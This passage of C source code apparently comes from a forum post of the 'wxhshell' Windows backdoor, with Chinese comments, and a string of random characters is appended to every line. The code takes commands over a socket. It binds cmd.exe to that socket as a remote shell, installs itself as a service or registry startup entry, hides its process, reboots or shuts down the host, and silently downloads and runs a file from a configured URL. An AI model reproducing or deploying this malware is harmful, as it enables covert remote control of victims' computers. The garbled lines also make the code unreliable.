    switch(cmd[0]) { a(cZ]`s]*  
  JSO'. [N  
  // 帮助 w K)/m`{g  
  case '?': { o m9zb&{tu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ib V 7}  
    break; =?9z6=  
  } fu 0]BdM  
  // 安装 L{)*evBL  
  case 'i': { ]rAaErB';  
    if(Install()) N-C=O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vm6 0aXm_  
    else R|tf}~u !x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xh'_Vx{.j`  
    break; xi3  
    } Zq[aC0%+  
  // 卸载 tUzef  
  case 'r': { [OTZ"XQLI  
    if(Uninstall()) )GgO=J:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V'n4iM  
    else ZP*(ZU@j=Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PO1|l-v<Yq  
    break; m~$S]Wf  
    } &v}c3wL]  
  // 显示 wxhshell 所在路径 #0*OkZMt  
  case 'p': { Dq$co1eT  
    char svExeFile[MAX_PATH]; R>|)-"b( `  
    strcpy(svExeFile,"\n\r"); 6,J:sm\  
      strcat(svExeFile,ExeFile); s}m.r5  
        send(wsh,svExeFile,strlen(svExeFile),0); 1 UyQ``v/  
    break; 0J \hku\  
    } |-vc/t2k>T  
  // 重启 @-d0 ~.S  
  case 'b': { )$Tcip`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XHX$Ur9  
    if(Boot(REBOOT)) (A<'{J#5,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bT3 r_  
    else { iRwlK5(&  
    closesocket(wsh); F@C^nX9  
    ExitThread(0); A]x'!qa@=  
    } TOUP.,f/!  
    break; \7l% @  
    } &uX| Ksq  
  // 关机 cwK+{*ZH/  
  case 'd': { k2 axGq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dF (m!P/R  
    if(Boot(SHUTDOWN)) Lc0yLm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Oyxzs  
    else { :f9O3QA  
    closesocket(wsh); iD/r8_}  
    ExitThread(0); 0qdgt  
    } PR{y84$  
    break; qjc8$#zXS  
    } moe5H  
  // 获取shell N3C 8%  
  case 's': { J3;dRW  
    CmdShell(wsh); w =MZi=p  
    closesocket(wsh); R3`Rrj Z  
    ExitThread(0); orU++,S4Pm  
    break; \Gzo^w  
  } Gb?O-z%8*  
  // 退出 $IdY(f:.:5  
  case 'x': { wlY6h4c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >mWu+Nn:  
    CloseIt(wsh); n-%8RV  
    break; =2BB ~\G+  
    } JsA9Xdk`  
  // 离开 [>pqf  
  case 'q': { HJV8P2f8`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QqS?-   
    closesocket(wsh); "-tTN  
    WSACleanup(); KR4vcI[4  
    exit(1); G\HU%J  
    break; r]0UF0#  
        } X*cf|g  
  } @C}Hx;f6  
  } rwRb _eIj  
5[1#d\QR  
  // 提示信息 K% Gbl#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y 8./)W&/  
} TNvE26.(  
  } 1|PmZPKq9n  
#h#Bcv0 Z  
  return; .F*2]xj@"  
} TYs#v/)I  
.x^`y2'U  
// shell模块句柄 %5zztReI  
int CmdShell(SOCKET sock) cv'Fc  
{ VB+sl2V<h  
STARTUPINFO si; Xc^7  
ZeroMemory(&si,sizeof(si)); s\-^vj3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N$j I&SI?}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [xVE0l*\   
PROCESS_INFORMATION ProcessInfo;  ;7F|g  
char cmdline[]="cmd"; kOe~0xoT@u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .W>8bg'u9  
  return 0; 7%(|)3"V  
} B-OuBS,fwC  
D(GAC!|/]  
// 自身启动模式 r7I,%}k  
int StartFromService(void) j&S8x|5  
{ kP6P/F|RcZ  
typedef struct kZlRS^6  
{ E9Q?@'h  
  DWORD ExitStatus; MKuy?mri~  
  DWORD PebBaseAddress; GW(-'V/  
  DWORD AffinityMask; -CTsB)=\,  
  DWORD BasePriority; >Kd(.r[Er  
  ULONG UniqueProcessId; (5"BKu1t  
  ULONG InheritedFromUniqueProcessId; cZ" Ut  
}   PROCESS_BASIC_INFORMATION; 's]+.3">L1  
_n3Jf<Y  
PROCNTQSIP NtQueryInformationProcess; Oc]&1>M  
l7]$Wc[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wmNc)P4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?gSk%]S/!  
g>[|/z P  
  HANDLE             hProcess; W biUz2)  
  PROCESS_BASIC_INFORMATION pbi; oadlyqlw#  
=](c7HEQf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TwZvz[u  
  if(NULL == hInst ) return 0; qdn\8Pn  
q5$z:'zE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mX8A XWIa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %5_eos&<^)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,u}n!quA  
EO|r   
  if (!NtQueryInformationProcess) return 0; ))n7.pB9/  
NRS!Ox  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @"~Mglgw  
  if(!hProcess) return 0; N_vVEIO9  
%@! Vx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HY]vaA`  
{PM)D [$i  
  CloseHandle(hProcess); X;5U@l  
 X7sWu{n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tPS.r.0#^  
if(hProcess==NULL) return 0; MwxfTH"wi  
Q<L.!%vu}  
HMODULE hMod; ,EgIH%* g  
char procName[255]; {-rK:*yP'u  
unsigned long cbNeeded; tUmI#.v   
b8 J\Lm|J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `>fN? He  
JlsRP  
  CloseHandle(hProcess); /$hfd?L  
 ?4 `K8  
if(strstr(procName,"services")) return 1; // 以服务启动 @j$tpz  
S,5>g07-`  
  return 0; // 注册表启动 ~Exd_c9  
} KJa?TwnC  
E<3hy  
// 主模块 4\q7.X+^  
int StartWxhshell(LPSTR lpCmdLine) AW LKve_  
{ B{ NKDkDH  
  SOCKET wsl; FhB^E$r%  
BOOL val=TRUE; ]xfAdBi  
  int port=0; s,^?|Eo;0  
  struct sockaddr_in door; !MB%  
&7 }!U  
  if(wscfg.ws_autoins) Install(); OwP9=9};  
vd-`?/,||  
port=atoi(lpCmdLine); k@5,6s:  
NDB]8C  
if(port<=0) port=wscfg.ws_port; -A9 !Y{Z  
Y#PbC  
  WSADATA data; ,{c9Lv%@J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [;VNuF  
_Z6/r^c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r0kA47  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J+&AtGq]u  
  door.sin_family = AF_INET; 1){1 HK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +a sJV1a  
  door.sin_port = htons(port); t8s1d  
l)z15e5X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >TsJ0E?3x  
closesocket(wsl); %^"Tz,f  
return 1; IxCEE5+`%  
} t4?g_$>   
lN+NhPF  
  if(listen(wsl,2) == INVALID_SOCKET) { i^uC4S~  
closesocket(wsl); *&e+z-E  
return 1; JRA.,tQc  
} _]tR1T5e  
  Wxhshell(wsl); >"F~%D<.  
  WSACleanup(); >qx~m>2|8]  
g\ @nA4  
return 0; n/s!S &  
*6Rl[eXS  
} 'N5qX>Ob  
1 X2oz  
// 以NT服务方式启动 m7kDxs(KO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U:MkA(S%c  
{  ~u8}s4  
DWORD   status = 0; aQN`C {nY  
  DWORD   specificError = 0xfffffff; #rV=!j||  
@DkPJla&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "h7-nwm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hC]c =$=7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jjvm<;lv  
  serviceStatus.dwWin32ExitCode     = 0; .,,?[TI  
  serviceStatus.dwServiceSpecificExitCode = 0; T] EXm/  
  serviceStatus.dwCheckPoint       = 0; Sct-,K%i  
  serviceStatus.dwWaitHint       = 0; Vw9^otJu  
N>Y`>5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dt1{]~30  
  if (hServiceStatusHandle==0) return; #X"\:yN  
[ZURs3q  
status = GetLastError(); /^uvY  
  if (status!=NO_ERROR) =Gd[Qn83.%  
{ ]Nt97eD)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ACl:~7;  
    serviceStatus.dwCheckPoint       = 0; \\hZlCV,  
    serviceStatus.dwWaitHint       = 0; GQ|kcY=  
    serviceStatus.dwWin32ExitCode     = status; -5v c0"?E  
    serviceStatus.dwServiceSpecificExitCode = specificError; z}C#+VhQ`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 35RH|ci&  
    return; NfR,m ]  
  } [X^JV/R  
v.6" <nT2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =]xNpX)  
  serviceStatus.dwCheckPoint       = 0; .1I];Cy0D  
  serviceStatus.dwWaitHint       = 0; :`3b|u=KZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }jiqUBn%  
} ADv a@P  
6{azzk8  
// 处理NT服务事件,比如:启动、停止 7@EYF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yc?taL)  
{ ,l; &Tb=k  
switch(fdwControl) (G PJ=r  
{ D{'Na5(  
case SERVICE_CONTROL_STOP: |,dMF2ADc  
  serviceStatus.dwWin32ExitCode = 0; pJa FPO..|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &%qD Som3  
  serviceStatus.dwCheckPoint   = 0; e,~c~Db* Q  
  serviceStatus.dwWaitHint     = 0; o,\%c" mC  
  { l`I]eTo)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {k?Y :  
  } FN,0&D}`  
  return; 0A?w,A`"  
case SERVICE_CONTROL_PAUSE: s7xRry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~g|e?$j  
  break; ;S?1E:\av  
case SERVICE_CONTROL_CONTINUE: K/\#FJno  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Q{1^  
  break; 0M8JE9 Kx  
case SERVICE_CONTROL_INTERROGATE: K:y q^T7  
  break; j&T/.]dX&  
}; Vg \-^$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a _  
} i+&= "Z@  
~d5"<`<^o  
// 标准应用程序主函数 M8cLh!!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _"0n.JQg  
{ y\0^c5}  
t_]UseP$RF  
// 获取操作系统版本 |!!E5osXq  
OsIsNt=GetOsVer(); /mD KQ<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (sqS(xIY  
)&dhE^ O  
  // 从命令行安装 d}l^yln  
  if(strpbrk(lpCmdLine,"iI")) Install(); cC}s5`  
VpV w:Rh>  
  // 下载执行文件 huKz["]z[  
if(wscfg.ws_downexe) { p*npY"}v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YSa:"A  
  WinExec(wscfg.ws_filenam,SW_HIDE); "BFW&<1  
} '|XP}V0I  
e/Q[%y.X  
if(!OsIsNt) { 5\4>H6  
// 如果时win9x,隐藏进程并且设置为注册表启动 o~4n8  
HideProc(); :>3&"T.  
StartWxhshell(lpCmdLine); c(Ha"tBJ  
} rM=Hd/ki5  
else {eZ j[*P  
  if(StartFromService()) )<^ ~${$U  
  // 以服务方式启动 A\# ? rK  
  StartServiceCtrlDispatcher(DispatchTable); E?9_i :IX  
else @tj0Ir v  
  // 普通方式启动 8OFrW.>[  
  StartWxhshell(lpCmdLine); ZcWl{e4  
Y}?@Pm drz  
return 0; n/|/Womr  
}
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只看该作者 1 发表于: 2006-10-10
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